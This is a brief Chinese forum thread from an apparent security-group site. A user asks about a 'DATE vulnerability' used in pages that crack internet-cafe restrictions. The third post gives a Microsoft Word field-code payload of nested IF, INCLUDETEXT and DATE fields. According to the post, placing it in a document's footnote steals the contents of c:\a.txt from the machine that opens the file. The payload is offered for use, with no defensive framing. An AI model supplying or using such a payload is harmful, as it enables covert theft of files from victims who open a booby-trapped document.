论坛: 网吧专题 标题: 求助 复制本贴地址    
作者: rishian [rishian]    论坛用户   登录
最近看到一种利用INTERNET的DATE漏洞做的网吧破解网页,比CY007的在线破解好用多了!请问高手们什么是DATE漏洞啊!

地主 发表时间: 04-02-14 11:00

回复: 嘶风 [yimarong]   版主   登录
拿个例子来看一下!

B1层 发表时间: 04-02-14 11:06

回复: 沙加II [newmyth21]   论坛用户   登录
插入如下域结构到文档最后一页的脚注,就能够盗取目标机器c:a.txt 文档的内容:
{ IF { INCLUDETEXT { IF { DATE } = { DATE } "c:\a.txt" "c:\a.txt" } * MERGEFORMAT } = "" "" * MERGEFORMAT }

B2层 发表时间: 04-02-14 20:12

论坛: 网吧专题

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号